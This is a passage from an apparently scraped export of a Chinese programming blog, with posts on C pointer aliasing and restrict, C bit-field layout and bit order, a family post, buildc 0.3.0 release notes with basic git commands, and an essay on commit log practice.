pointer可以alias任何对象。\n【使用Union实现一个值的多种方式表示】\ntypedef union _conversion {\nfloat fNum;\nunsigned int uiNum;\n} Conversion;\nint isPositive1(float number) {\nConversion conversion = { .fNum =number};\nreturn (conversion.uiNum \u0026amp; 0×80000000) == 0;\n}\n由于没有指针，所以不存在违反Strict aliasing的问题。\n【Strict Aliasing】\n编译器假设多个不同类型的指针不会引用到同一个数据对象，这样在strict aliasing的规则下，编译器才能够实施一些优化。如果假设不成立，那很可能发生意料之外的结果。\n即使是两个拥有相同字段，但名字不同的结构体，其对应的指针也不能引用同一个对象。但通过typedef结构体类型指针与原类型指针可以引用同一个数据对象。\ntypedef struct _person {\nchar* firstName;\nchar* lastName;\nunsigned int age;\n} Person;\ntypedef Person Employee;\nPerson* person;\nEmployee* employee;\n【使用restrict关键字】\n使用restrict关键字，意即告诉编译器这个指针没有被alias，这样编译器将可以进行优化，生成更为高效的代码。通常的优化方法是缓存这个指针。\n不过即便使用了restrict关键字，对编译器来说也只是一个建议，编译器可自行选择是否进行优化。\n建议新代码中都要使用restrict关键字。\nvoid add(int size, double * restrict arr1, const double * restrict arr2) {\nfor (int i = 0; i \u0026lt; size; i++) {\narr1[i] += arr2[i];\n}\n}\ndouble vector1[] = {1.1, 2.2, 3.3, 4.4};\ndouble vector2[] = {1.1, 2.2, 3.3, 4.4};\nadd(4,vector1,vector2);\n以上是add函数的正确用法。\ndouble vector1[] = {1.1, 2.2, 3.3, 4.4};\ndouble *vector3 = vector1;\nadd(4,vector1,vector3);\nadd(4,vector1,vector1);\n这个例子中vector3与vector1指向同一份数据，也许add可以正常工作，但这个函数的调用结果并不那么可靠。\n标准C库中有多个函数使用了restrict关键字，比如void *memcpy(void * restrict s1, const void * restrict s2, size_t n)等。\n","permalink":"https://tonybai.com/2013/05/28/understanding-and-using-c-pointers-keypoint-preview/","summary":"\u003cp\u003e\u003cem\u003e如果你问十个C程序员：你觉得C语言的核心是什么？这十个程序员都会回答：指针。\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e指针具备成为C语言核心的两个关键要素：\u003cstrong\u003e强大\u003c/strong\u003e与\u003cstrong\u003e争议\u003c/strong\u003e。\u003c/p\u003e\n\u003cp\u003e* \u003cstrong\u003e指针的强大\u003c/strong\u003e源自于其天生与机器内存模型的适配。使用指针让代码紧凑，并可获得仅次于汇编代码的执行效率；使用指针可以让C程 序员毫不费力地尽情操纵着内存中的每个byte甚至是bit；使用指针可以为C程序员提供无与伦比的操作灵活性。总之，在C语言中指针几乎是无所 不能的代名词。得指针者得天下，没有指针，C语言将变得平庸。\u003c/p\u003e","title":"《Understanding and Using C Pointers》要点先睹为快"},{"content":"我在日常工作中使用C语言中的位域(bit field)的场景甚少，原因大致有二：\n* 一直从事于服务器后端应用的开发，现在的服务器的内存容量已经达到了数十G的水平，我们一般不需要为节省几个字节而使用内存布局更加紧凑的位域。\n* 结构体中位域的实现是平台相关或Compiler相关的，移植性较差，我们不会贸然地给自己造“坑”的。\n不过近期Linux技术内核社区（www.linux-kernel.cn) mail list中的一个问题让我觉得自己对bit field的理解还欠火候，于是乎我又花了些时间就着那个问题重新温习一遍bit field。\n零、对bit field的****通常认知\n在C语言中，我们可以得到某个字节的内存地址，我们具备了操作任意内存字节的能力；在那个内存空间稀缺的年代，仅仅控制到字节级别还不足以满足C 程序员的胃口，为此C语言中又出现了bit级别内存的“有限操作能力” – 位域。这里所谓的“有限”指的是机器的最小粒度寻址单位是字节，我们无法像获得某个字节地址那样得到某个bit的地址，因此我们仅能通过字节的运算来设置 和获取某些bit的值。在C语言中，尝试获得一个bit field的地址是非法操作：\nstruct flag_t {\nint a : 1;\n};\nstruct flag_t flg;\nprintf(\u0026quot;%p\\n\u0026quot;, \u0026amp;flg.a);\nerror: cannot take address of bit-field ‘a’\n以下是C语言中bit field的一般形式：\nstruct foo_t {\nunsigned int b1 : n1,\nb2 : n2,\n… …\nbn : nk;\n};\n其中n1，n2，nk为对应位域所占据的bit数。\n位域(bit field)的出现让我们可以用变量名代表某些bit，并通过变量名直接获得和设置一些内存中bit的值，而不是通 过晦涩难以理解的位操作来进行，例如：\nstruct foo_t {\nunsigned int a : 3,\nb : 2,\nc : 4;\n};\nstruct foo_t f;\nf.a = 3;\nf.b = 1;\nf.c = 12;\n另外使用位域我们可以在展现和存储相同信息的同时，自定义更加紧凑的内存布局，节约内存的使用量。这使得bit field在嵌入式领域，在驱动程序领域得到广泛的应用，比如可以仅用两个字节就可以将tcpheader从dataoffset到fin的信息全部表示 和存储起来：\nstruct tcphdr {\n… …\n__u16 doff:4,\nres1:4,\ncwr:1,\nece:1,\nurg:1,\nack:1,\npsh:1,\nrst:1,\nsyn:1,\nfin:1;\n… …\n};\n一、存储单元(storage unit)\nC标准允许unsigned int/signed int/int类型的位域声明，C99中加入了_Bool类型的位域。但像Gcc这样的编译器自行加入了一些扩展，比如支持short、char等整型类 型的位域字段，使用其他类型声明位域将得到错误的结果，比如：\nstruct flag_t {\nchar* a : 1;\n};\nerror: bit-field ‘a’ has invalid type\nC编译器究竟是如何为bit field分配存储空间的呢？我们以Gcc编译器(Ubuntu 12.04.2 x86_64 Gcc 4.7.2 )为例一起来探究一下。\n我们先来看几个基本的bit field类型的例子：\nstruct bool_flag_t {\n_Bool a : 1,\nb : 1;\n};\nstruct char_flag_t {\nunsigned char a : 2,\nb : 3;\n};\nstruct short_flag_t {\nunsigned short a : 2,\nb : 3;\n};\nstruct int_flag_t {\nint a : 2,\nb : 3;\n};\nint\nmain()\n{\nprintf(\u0026quot;%ld\\n\u0026quot;, sizeof(struct bool_flag_t));\nprintf(\u0026quot;%ld\\n\u0026quot;, sizeof(struct char_flag_t));\nprintf(\u0026quot;%ld\\n\u0026quot;, sizeof(struct short_flag_t));\nprintf(\u0026quot;%ld\\n\u0026quot;, sizeof(struct int_flag_t));\nreturn 0;\n}\n编译执行后的输出结果为：\n1\n1\n2\n4\n可以看出Gcc为不同类型的bit field分配了不同大小的基本内存空间。_Bool和char类型的基本存储空间为1个字节；short类型的基本存储空间为2个字节，int型的为4 个字节。这些空间的分配是基于结构体内部的bit field的size没有超出基本空间的界限为前提的。以short_flag_t为例：\nstruct short_flag_t {\nunsigned short a : 2,\nb : 3;\n};\na、b两个bit field总共才使用了5个bit的空间，所以Compiler只为short_flag_t分配一个基本存储空间就可以存储下这两个bit field。如果bit field的size变大，size总和超出基本存储空间的size时，编译器会如何做呢？我们还是看例子：\nstruct short_flag_t {\nunsigned short a : 7,\nb : 10;\n};\n将short_flag_t中的两个bit字段的size增大后，我们得到的sizeof(struct short_flag_t)变成了4，显然Compiler发现一个基础存储空间已经无法存储下这两个bit field了，就又为short_flag_t多分配了一个基本存储空间。这里我们所说的基本存储空间就称为**“存储单元(storage unit)”****。**它是Compiler在给bit field分配内存空间时的基本单位，并且这些分配给bit field的内存是以存储单元大小的整数倍递增的。但从上面来看，不同类型bit field的存储单元大小是不同的。\nsizeof(struct short_flag_t)变成了4，那a和b有便会有至少两种内存布局方式：\n* a、b紧邻\n* b在下一个可存储下它的存储单元中分配内存\n具体采用哪种方式，是Compiler相关的，这会影响到bit field的可移植性。我们来测试一下Gcc到底采用哪种方式：\nvoid\ndump_native_bits_storage_layout(unsigned char *p, int bytes_num)\n{\nunion flag_t {\nunsigned char c;\nstruct base_flag_t {\nunsigned int p7:1,\np6:1,\np5:1,\np4:1,\np3:1,\np2:1,\np1:1,\np0:1;\n} base;\n} f;\nfor (int i = 0; i \u0026lt; bytes_num; i++) {\nf.c = *(p + i);\nprintf(\u0026quot;%d%d%d%d %d%d%d%d \u0026ldquo;,\nf.base.p7,\nf.base.p6, f.base.p5, f.base.p4, f.base.p3,\nf.base.p2, f.base.p1, f.base.p0);\n}\nprintf(\u0026rdquo;\\n\u0026quot;);\n}\nstruct short_flag_t {\nunsigned short a : 7,\nb : 10;\n};\nstruct short_flag_t s;\nmemset(\u0026amp;s, 0, sizeof(s));\ns.a = 113; /* 0111 0001 */\ns.b = 997; /* 0011 1110 0101 */\ndump_native_bits_storage_layout((unsigned char*)\u0026amp;s, sizeof(s));\n编译执行后的输出结果为：\n1000 1110 0000 0000 1010 0111 1100 0000。可以看出Gcc采用了第二种方式，即在为a分配内存后，发现该存储单元剩余的空间(9 bits)已经无法存储下字段b了，于是乎Gcc又分配了一个存储单元(2个字节)用来为b分配空间，而a与b之间也因此存在了空隙。\n我们还可以通过匿名0长度位域字段的语法强制位域在下一个存储单元开始分配，例如：\nstruct short_flag_t {\nunsigned short a : 2,\nb : 3;\n};\n这个结构体本来是完全可以在一个存储单元(2字节)内为a、b两个位域分配空间的。如果我们非要让b放在与a不同的存储单元中，我们可以通过加入 匿名0长度位域的方法来实现：\nstruct short_flag_t {\nunsigned short a : 2;\nunsigned short : 0;\nunsigned short b : 3;\n};\n这样声明后，sizeof(struct short_flag_t)变成了4。\nstruct short_flag_t s;\nmemset(\u0026amp;s, 0, sizeof(s));\ns.a = 2; /* 10 */\ns.b = 4; /* 100 */\ndump_native_bits_storage_layout((unsigned char*)\u0026amp;s, sizeof(s));\n执行后，输出的结果为：\n0100 0000 0000 0000 0010 0000 0000 0000\n可以看到位域b被强制放到了第二个存储单元中。如果没有那个匿名0长度的位域，那结果应该是这样的：\n0100 1000 0000 0000\n最后位域的长度是不允许超出其类型的最大长度的，比如：\nstruct short_flag_t {\nshort a : 17;\n};\nerror: width of ‘a’ exceeds its type\n二、位域的位序\n再回顾一下上一节的最后那个例子（不使用匿名0长度位域时）：\nstruct short_flag_t s;\nmemset(\u0026amp;s, 0, sizeof(s));\ns.a = 2; /* 10 */\ns.b = 4; /* 100 */\ndump bits的结果为0100 1000 0000 0000。\n怎么感觉输出的结果与s.a和s.b的值对不上啊！根据a和b的值，dump bits的输出似乎应该为1010 0000 0000 0000。对比这两个dump结果不同的部分：1010 0000 vs. 0100 1000，a和b的bit顺序恰好相反。之前一直与字节序做斗争，难不成bit也有序之分？事实就是这样的。bit也有order的概念，称为位序。位域字 段的内存位排序就称为该位域的位序。\n我们来回顾一下字节序的概念，字节序分大端(big-endian，典型体系Sun Sparc)和小端(little-endian，典型体系Intel x86)：\n大端指的是数值（比如0×12345678）的逻辑最高位(0×12)放在起始地址（低地址）上，简称高位低址，就是高位放在起始地址。\n小端指的是数值（比如0×12345678）的逻辑最低位(0×78)放在起始地址（低地址）上，简称低位低址，就是低位放在起始地址。\n看下面例子：\nint\nmain()\n{\nchar c[4];\nunsigned int i = 0×12345678;\nmemcpy(c, \u0026amp;i, sizeof(i));\nprintf(\u0026quot;%p – 0x%x\\n\u0026quot;, \u0026amp;c[0], c[0]);\nprintf(\u0026quot;%p – 0x%x\\n\u0026quot;, \u0026amp;c[1], c[1]);\nprintf(\u0026quot;%p – 0x%x\\n\u0026quot;, \u0026amp;c[2], c[2]);\nprintf(\u0026quot;%p – 0x%x\\n\u0026quot;, \u0026amp;c[3], c[3]);\n}\n在x86 (小端机器)上输出结果如下：\n0x7fff1a6747c0 – 0×78\n0x7fff1a6747c1 – 0×56\n0x7fff1a6747c2 – 0×34\n0x7fff1a6747c3 – 0×12\n在sparc(大端机器)上输出结果如下：\nffbffbd0 – 0×12\nffbffbd1 – 0×34\nffbffbd2 – 0×56\nffbffbd3 – 0×78\n通过以上输出结果可以看出，小端机器的数值低位0×78放在了低地址0x7fff1a6747c0上；而大端机器则是将数值高位0×12放在了低 地址0xffbffbd0上。\n机器的最小寻址单位是字节，bit无法寻址，也就没有高低地址和起始地址的概念，我们需要定义一下bit的“地址”。以一个字节为例，我们把从左到右的8个bit的位置(position)命名按顺序命名如下：\np7 p6 p5 p4 p3 p2 p1 p0\n其中最左端的p7为起始地址。这样以一字节大小的数值10110101(b)为例，其在不同平台下的内存位序如下：\n大端的含义是数值的最高位1（最左边的1）放在了起始位置p7上，即数值10110101的大端内存布局为10110101。\n小端的含义是数值的最低位1(最右边的1)放在了起始位置p7上，即数值10110101的小端内存布局为10101101。\n前面的函数dump_native_bits_storage_layout也是符合这一定义的，即最左为起始位置。\n同理，对于一个bit个数为3且存储的数值为110(b)的位域而言，将其3个bit的位置按顺序命名如下：\np2 p1 p0\n其在大端机器上的bit内存布局，即位域位序为： 110;\n其在小端机器上的bit内存布局，即位域位序为： 011。\n在此基础上，理解上面例子中的疑惑就很简单了。\ns.a = 2; /* 10(b) ，大端机器上位域位序为 10，小端为01 */\ns.b = 4; /* 100(b)，大端机器上位域位序为100，小端为001 */\n于是在x86（小端）上的dump bits结果为：0100 1000 0000 0000\n而在sparc(大端）上的dump bits结果为：1010 0000 0000 0000\n同时我们可以看出这里是根据位域进行单独赋值的，这样位域的位序是也是以位域为单位排列的****，即每个位域内部独立排序， 而不是按照存储单元（这里的存储单元是16bit）或按字节内bit序排列的。\n三、tcphdr定义分析\n前面提到过在linux-kernel.cn mail list中的那个问题大致如下：\ntcphdr定义中的大端代码：\n__u16 doff:4,\nres1:4,\ncwr:1,\nece:1,\nurg:1,\nack:1,\npsh:1,\nrst:1,\nsyn:1,\nfin:1;\n问题是其对应的小端代码该如何做字段排序？似乎有两种方案摆在面前：\n方案1:\n__u16 res1:4,\ndoff:4,\nfin:1,\nsyn:1,\nrst:1,\npsh:1,\nack:1,\nurg:1,\nece:1,\ncwr:1;\nor\n方案2:\n__u16 cwr:1,\nece:1,\nurg:1,\nack:1,\npsh:1,\nrst:1,\nsyn:1,\nfin:1,\nres1:4\ndoff:4;\n个人觉得这两种方案从理论上都是没错的，关键还是看tcphdr是如何进行pack的，是按__u16整体打包，还是按byte打包。原代码中使用的是方 案1，推测出tcphdr采用的是按byte打包的方式，这样我们只需调换byte内的bit顺序即可。res1和doff是一个字节内的两个位域，如果 按自己打包，他们两个的顺序对调即可在不同端的平台上得到相同的结果。用下面实例解释一下：\n假设在大端系统上，doff和res1的值如下：\ndoff res1\n1100 1010 大端\n在大端系统上pack后，转化为网络序：\ndoff res1\n1100 1010 网络序\n小端系统接收后，转化为本地序：\n0101 0011\n很显然，我们应该按如下方法对应：\nres1 doff\n0101 0011\n也就相当于将doff和res1的顺序对调，这样在小端上依旧可以得到相同的值。\n","permalink":"https://tonybai.com/2013/05/21/talk-about-bitfield-in-c-again/","summary":"\u003cp\u003e我在日常工作中使用\u003ca href=\"http://en.wikipedia.org/wiki/C_(programming_language)%E2%80%8E\"\u003eC语言\u003c/a\u003e中的\u003ca href=\"http://tonybai.com/2006/06/19/understand-bit-fields/\"\u003e位域\u003c/a\u003e(bit field)的场景甚少，原因大致有二：\u003c/p\u003e\n\u003cp\u003e* 一直从事于服务器后端应用的开发，现在的服务器的内存容量已经达到了数十G的水平，我们一般不需要为节省几个字节而使用内存布局更加紧凑的位域。\u003cbr\u003e\n* 结构体中位域的实现是平台相关或Compiler相关的，移植性较差，我们不会贸然地给自己造“坑”的。\u003c/p\u003e","title":"再谈C语言位域"},{"content":"果果已经3周岁了，这是一个不争的事实。这意味着我又变老了^_^。过去的东西已经无法抓住了，目前我能做的就是欣赏现实了^_^。\n3岁的果果长的越来越有女孩儿的味道了^_^。\n3岁的果果生长发育一切良好，个头还是比同龄的孩子高出那么一截。\n3岁的果果说起话来越来越有逻辑性了，我们时常惊诧于其时而冒出的“妙语”。\n3岁的果果总是说“喜欢爸爸”，因为妈妈总是加班，而无暇陪着果果玩。\n3岁的果果很有自尊心，任何事情都不甘落后于其周围的小朋友。\n3岁的果果更爱臭美了，喜欢让爸爸妈妈买新衣服新鞋子，买完后立马穿上向我们展示。\n3岁的果果打针已经不掉一滴眼泪了，这让我们着实有些惊奇。\n3岁的果果已经完全会自己穿衣脱衣了，只是费点力气罢了^_^，并且拒绝我们的帮助。\n3岁的果果已经会唱好几首儿童歌曲了，只是还不在调子上。\n3岁的果果发音还不准确，尤其是在说成语、背唐诗时，也就是我和她妈妈能听懂个一二吧。\n3岁的果果对奶粉的依恋降低了，有时候还很不情愿的喝奶。\n3岁的果果开变得更加喜欢吃肉了，啃起排骨就不放下了。\n3岁的果果喜欢听爸爸给她讲故事，并且有时还可以简单复述出爸爸讲的简单故事了。\n3岁的果果很有想象力，经常用积木拼出爸爸都看不出是啥的物品，而她却很肯定地说这是…。\n3岁的果果尤其喜欢玩过家家游戏，更喜欢让爸爸当观众，看她是如何玩过家家的游戏的，在游戏中她既扮演老师，又扮演学生。\n3岁的果果正健康茁壮的成长，这正是我这个做爸爸期望看到的。\n以下是果果近期的一些生活照片：\n我是小公主\n呵呵，出去旅游了！\n我秀气不？\n霸气\n我淑女不？\n不好意思了\n再来一张\n我飞，我飞，我飞！\n","permalink":"https://tonybai.com/2013/05/18/daughter-is-3-years-old/","summary":"\u003cp\u003e果果已经3周岁了，这是一个不争的事实。这意味着我又变老了^_^。过去的东西已经无法抓住了，目前我能做的就是欣赏现实了^_^。\u003c/p\u003e\n\u003cp\u003e3岁的果果长的越来越有女孩儿的味道了^_^。\u003c/p\u003e","title":"果果3周岁了"},{"content":"自buildc正式在项目中应用以来，我们收到了许多同事针对buildc演进的意见和建议。其中确实有些易用性的问题是在最初设计时未考虑周全的，尤其是.buildc.rc中的配置，同事们对该文件的配置已经“怨声载道”了。\n.buildc.rc是用来配置某开发者在开发过程中使用的第三方库所在subversion repository信息的，例如：\na_repository = (\u0026lsquo;SVN库地址\u0026rsquo;, \u0026lsquo;本地缓存路径\u0026rsquo;,\n[\n# 格式：[(“第三方库名称”, “库版本”, “特征库文件”), …]\n(\u0026rsquo;libevent\u0026rsquo;, \u0026lsquo;2.0.10\u0026rsquo;, \u0026rsquo;lib/libevent.a\u0026rsquo;),\n(\u0026lsquo;instantclient\u0026rsquo;, \u0026lsquo;10.2.0.5.0\u0026rsquo;, \u0026rsquo;lib/libnnz10.so\u0026rsquo;),\n…\n]\n)\nb_repository = (\u0026lsquo;SVN库地址\u0026rsquo;, \u0026lsquo;本地缓存路径\u0026rsquo;, [])\nc_repository = (\u0026lsquo;SVN库地址\u0026rsquo;, \u0026lsquo;本地缓存路径\u0026rsquo;, [])\n…\nexternal_repositories = [\na_repository,\nb_repository,\nc_repository,\n…\n]\n这里面需要维护最多、最频繁的就是各个repository中具备的第三方库名、版本号。开发者所开发的项目所依赖的第三方库信息发生变化，不仅仅需要修 改project下的buildc.cfg文件，还可能要修改.buildc.rc，大家维护起来确实体验不好，会多耗费一些工作量。\n针对这个主要问题，我们决定对buildc进行一次较大范围的重构，重构后的版本定为buildc 0.3.0版本。以下是buildc 0.3.0版本的主要改动点：\n一、简化.buildc.rc的配置，重新定义cache相关命令的语义\n0.3.0及以后版本的.buildc.rc只需配置repository的地址信息以及cache缓存的本地路径信息，无需再提供repository 里面具体的第三方库以及版本号信息了，这样一来，大多数情况下，project依赖的第三方库发生变更，都无需修改.buildc.rc了。\na_repository = (\u0026lsquo;SVN库地址\u0026rsquo;, \u0026lsquo;本地缓存路径\u0026rsquo;)\nb_repository = (\u0026lsquo;SVN库地址\u0026rsquo;, \u0026lsquo;本地缓存路径\u0026rsquo;)\nc_repository = (\u0026lsquo;SVN库地址\u0026rsquo;, \u0026lsquo;本地缓存路径\u0026rsquo;)\n…\nexternal_repositories = [\na_repository,\nb_repository,\nc_repository,\n…\n]\n随之而变的是buildc cache相关命令的语义，0.3.0中cache相关命令的语义如下：\n* buildc cache init - 生成.buildc.repository，该文件是svn库的目录结构文件，相当于一份svn repository内部的地图，repository中存放的各种第三方库以及版本均在该文件中索引；如果该文件已经存在，命令执行的结果为：提示已存在。\n* buildc cache upgrade – 根据.buildc.rc的最新更新，重新生成.buildc.repository文件，并将该文件中所有lib本地的 Revision号置为none。该文件并不会执行本地cache的library的真实更新操作。\n* buildc cache update - 1. 如果.buildc.rc已经修改，但没有执行buildc cache upgrade，update会对比本地缓存库信息与对应的.repository文件中的同名lib信息，如果不一致，则提醒执行upgrade。\n2. 如果.buildc.repository是新生成的，所有lib本地的Revision号均是none，则提示没有要更新的本地缓存库；\n3. 如果某个项目已经download了自己依赖的库，那update将比对svn库中和本地库的revision差异，并下载最新库版本。并修改.buildc.repository中对应库的本地revision number。\n* buildc cache remove – 将.buildc.repository中对应库的本地revision number都置为none，并删除本地缓存的库文件。\n二、重新定义config make的语义\n前面提到了，在执行buildc cache init时，buildc只是负责生成.repository文件，而并不真实执行库文件的下载和缓存。那何时真正下载呢？答案是在执行buildc config make时。这里颇有些“lazy evaluate”的味道，需要时再“download and cache it\u0026quot;。\n* buildc config make\n1. 如果.buildc.rc已经修改，但没有执行buildc cache upgrade，config make会对比本地缓存库信息与对应的.repository文件中的同名lib信息，如果不一致，则提醒执行upgrade。\n2. 如果.buildc.rc是新生成的，或执行cache upgrade后的，config make会根据project对应的buildc.cfg中配置的第三方库，在.buildc.repository中查找是否存在（包括对应的版本 号），如果存在，则从subversion server端自动下载；否则提示出错。\n3. 如果本地缓存中某个库文件不存在，buildc config make会检测到，并自动下载该库，并cache起来。\n4. 如果subversion端某个库的svn revision号发生的更新，buildc config make会检测到，并下载最新的版本。\n总之一切都是在buildc config make时来完成的，按需下载或更新，这样你甚至无需进行手工的library Cache维护。\n三、转向OO****范型\n实现buildc 0.3.0的小同事(wtz1989227@gmail.com)对OO情有独钟，因此在这个版本中，他将以前的结构化代码做了大幅度调整，并用OO的方 式进行了重构。按照wtz的思路，这次改造比较初级，OOD做得还不够充分，以后慢慢调整。实际代码中反映出来的情况也的确是这样。\n**四、**buildc 0.2.3发布\n在将buildc 0.3.0代码merge到trunk之前，我创建了buildc-0.2的maintain branch，虽然理论上buildc 0.3.0在功能和配置方面与buildc 0.2.x版本是兼容的，但毕竟代码调整幅度较大。另外建议大家都转移到0.3.0这个最新版本上来，buildc-0.2分支顶多做一些bugfix， 不会再有新feature添加进去了。\n昨天在发布buildc 0.3.0的同时，还发布了buildc-0.2的一个Bugfix版 – buildc 0.2.3，该版本主要做了如下一些fix：\n* 执行cache upgrade时增加对.buildc.rc中repository特征文件存在性的检查；\n* 执行config make时增加对Make.rules文件是否为空的判断；\n* 执行pack source时，添加VERSION文件，记录打包的上下文信息。\n五、其它\n考虑到github的活跃度远远高于google code，加上google code最近访问十分不稳定，因此之前就将buildc（还有cbehave、lcut以及我的实验代码库）fork了一份到github上了，也攒攒 github上人气，因此这次buildc 0.2.3和buildc 0.3.0的代码还要发布到github上一次。git工具平时用的少，尤其是提交代码到github，这次算入门了。\n* 代码远程提交\n用git remote add一个github的remote repository后，就可以使用git push origin master将本地的commit推送到github上了。\n* 打tag，并推送tag\n— 查看Tag的git命令是git tag；\n— 本地打tag，用这个命令： git tag -a v0.2.3 -m\u0026quot;0.2.3 released\u0026quot;；\n— 推送Tag到remote repository：git push –tags origin master，不加–tags是无法推送tag的。\n* branch操作\n— 查看branch：git branch\n— 创建branch：git branch buildc-0.2\n— 推送branch：git push origin buildc-0.2\n— 本地切换branch：git checkout buildc-0.2\n","permalink":"https://tonybai.com/2013/05/11/buildc-0-3-0-release/","summary":"\u003cp\u003e自\u003ca href=\"http://tonybai.com/2011/12/08/buildc-a-building-assistant-tool-for-c-app/\"\u003ebuildc\u003c/a\u003e正式在项目中应用以来，我们收到了许多同事针对\u003ca href=\"http://code.google.com/p/buildc\"\u003ebuildc\u003c/a\u003e演进的意见和建议。其中确实有些易用性的问题是在最初设计时未考虑周全的，尤其是.buildc.rc中的配置，同事们对该文件的配置已经“怨声载道”了。\u003c/p\u003e\n\u003cp\u003e.buildc.rc是用来配置某开发者在开发过程中使用的第三方库所在subversion repository信息的，例如：\u003c/p\u003e\n\u003cp\u003ea_repository = (\u0026lsquo;SVN库地址\u0026rsquo;, \u0026lsquo;本地缓存路径\u0026rsquo;,\u003cbr\u003e\n              [\u003cbr\u003e\n                  # 格式：[(“第三方库名称”, “库版本”, “特征库文件”), …]\u003cbr\u003e\n                  (\u0026rsquo;libevent\u0026rsquo;, \u0026lsquo;2.0.10\u0026rsquo;, \u0026rsquo;lib/libevent.a\u0026rsquo;),\u003cbr\u003e\n                  (\u0026lsquo;instantclient\u0026rsquo;, \u0026lsquo;10.2.0.5.0\u0026rsquo;, \u0026rsquo;lib/libnnz10.so\u0026rsquo;),\u003cbr\u003e\n                  …\u003cbr\u003e\n              ]\u003cbr\u003e\n            )\u003cbr\u003e\nb_repository = (\u0026lsquo;SVN库地址\u0026rsquo;, \u0026lsquo;本地缓存路径\u0026rsquo;, [])\u003cbr\u003e\nc_repository = (\u0026lsquo;SVN库地址\u0026rsquo;, \u0026lsquo;本地缓存路径\u0026rsquo;, [])\u003cbr\u003e\n…\u003cbr\u003e\nexternal_repositories = [\u003cbr\u003e\n                        a_repository,\u003cbr\u003e\n                        b_repository,\u003cbr\u003e\n                        c_repository,\u003cbr\u003e\n                        …\u003cbr\u003e\n                   ]\u003c/p\u003e","title":"buildc 0.3.0版本发布"},{"content":"在版本控制工具大行其道的今天，作为程序员，势必要每天与各种版本控制系统（比如Subversion、Git、Mercurial等）打交道， 每天不commit几次代码都不好意思说自己是专业程序员^_^。不过commit代码可不止敲入commit命令这么简单，对于一个专业程序员 来说，我们还要关注每次commit所携带的背景信息，这里暂且称之为“commit context”。在每次commit时，这些上下文信息只能通过commit log来体现。\n一、Commit Context\n今日的软件复杂度日益增加，软件开发模式也早已从单打独斗的英雄模式变成了团队协作模式了，而在团队模式下，版本控制系统发挥着至关重要的作用， 它让开发过程变得有序，将冲突解决的成本尽可能地降低到最低。但版本控制系统毕竟不是智能的，它只是机械地记录着每次提交前后的内容的raw差 异，至于这个差异究竟代表了什么，版本管理系统是不得而知的，这就需要我们开发者们来提供，这就算是产生commit context的动机吧。即便是一个人开发维护的项目，个人的记忆也是有时效性的，时间久了，以前的代码变更context势必也就淡忘了，良好且规范的 commit context有助于更好的维护项目，追踪历史思路和行为，甚至在查找bug时也是能帮得上大忙的，比如确认bug引入的时段边界、代码范围等。\n前面说了，commit context最终是以commit log形式提供的，这才是我在这篇文章中真正要说的内容^_^。评价一个项目的好坏，无论是商业项目，还是开源项目，代码本身质量是一个重要的方面，代码 维护的规范性则是另外不可忽略的一个重要因素，而在代码维护规范性方面，commit log的规范是一项重要内容。做了这么多年Coding工作，到目前为止部门内部还没有哪一个项目在commit log规范方面是让我满意和欣赏的。另外本人在亲为commit log方面也是不能让自己满意的，这也是促使我思考commit log这块内容的一个初衷。\ncommit log承载着每次commit动作的context。一般来说context中至少要有一项内容，那就是此次代码变更的summary，这是最基本的要 求。如果你的commit log还是空着的，那你真该反思反思了，那是对自己和他人的不负责任。但无论是商业公司内部开发还是开源项目，commit context涉及到的因素往往不止一个，很多情况下commit context还与项目过程、质量保证流程以及项目使用的一些工具系统有 关联。我们来看两个知名开源项目的commit log样例吧。\n[example1 - Linux Kernel]\naudit: catch possible NULL audit buffers\nIt\u0026rsquo;s possible for audit_log_start() to return NULL. Handle it in the\nvarious callers.\nSigned-off-by: Kees Cook keescook@chromium.org\nCc: Al Viro viro@zeniv.linux.org.uk\nCc: Eric Paris eparis@redhat.com\nCc: Jeff Layton jlayton@redhat.com\nCc: \u0026ldquo;Eric W. Biederman\u0026rdquo; ebiederm@xmission.com\nCc: Julien Tinnes jln@google.com\nCc: Will Drewry wad@google.com\nCc: Steve Grubb sgrubb@redhat.com\nCc: Andrea Arcangeli aarcange@redhat.com\nSigned-off-by: Andrew Morton akpm@linux-foundation.org\nSigned-off-by: Linus Torvalds torvalds@linux-foundation.org\n这是Linux Kernel项目的一个commit log的内容。从这个log携带的context信息来看，我们能够清楚地了解如下一些内容：\n- 修改的内核模块范围audit\n- 修改的原因summary: to catch possible NULL audit buffers\n- 这个patch从诞生到被merge到trunk过程中涉及到的相关的人员列表\n- 这个patch由Who sign-off的。\n将mail list放入到commit log中，这是Linux Kernel开发过程规范所要求的，同样也是质量保证的一个方法。在《如何加入Linux内核开发社区》系列文章中你可以了解到一些有关Linux Kernel开发过程的内容。从这个例子中我们主要可以看出commit context与Project过程、质量保证链条方面的相关性。\n[example2 - Apache Subversion]\nFix issue #3498 – Subversion password stores freeze Eclipse\n* subversion/libsvn_auth_gnome_keyring/gnome_keyring.c\n(simple_gnome_keyring_first_creds, simple_gnome_keyring_save_creds,\nssl_client_cert_pw_gnome_keyring_first_creds,\nssl_client_cert_pw_gnome_keyring_save_creds): If the keyring is locked\nand we are in interactive mode but have no unlock prompt function, don\u0026rsquo;t\nthrow a \u0026ldquo;GNOME Keyring is locked and we are non-interactive\u0026rdquo; error;\ninstead, continue without unlocking it, so that the unlocking may be\nhandled by the default GNOME Keyring unlock dialog box.\n这是Apache Subversion项目的一个commit log的内容。同样从这个log携带的context信息来看，我们能够清楚地了解如下一些内容：\n- 修改的代码范围subversion/libsvn_auth_gnome_keyring/gnome_keyring.c，包括括号中的函数名列表， 这个显然更为细致。\n- 修改的原因summary: Fix issue #3498 – Subversion password stores freeze Eclipse\n- 这个patch与问题跟踪系统的关联性 -issue #3498。\n通过这个commit log，我们可以快速找到此patch对应的问题跟踪系统中的条目#3498，这样可以查看到一些更为细致的context信息。从这个例子我们主要能够 看出commit context与项目所使用的一些工具系统的关联。\n综合以上可以看出良好的commit log是可以清楚全面反映commit context的。这里的“全面”是project-dependent的，是需要能够体现出涉及project的一切必要信息的：过程的、质量的、工具 的。\n二、Commit log格式\nCommit log没有放之四海而皆准的统一格式，而是project-dependent的。就我个人而言，我会在下面的几个问题上有纠结。\n* 语言\n不得不承认在创造编程语言方面，西方文化占了主导，语言中的关键字也多取自英语。虽然目前主流的语言以及新兴的语言都号称源码原生支持utf8或 unicode其他字符集格式，但却是很少见到在源文件中使用非英语命名变量或函数的，这也影响了我在commit log中对语言的选择 – 我基本上都是用英文编写commit 